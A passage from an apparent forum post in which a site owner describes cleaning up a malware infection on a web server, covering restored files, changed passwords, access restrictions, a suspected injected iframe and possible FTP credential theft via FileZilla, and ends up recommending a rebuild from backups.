and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

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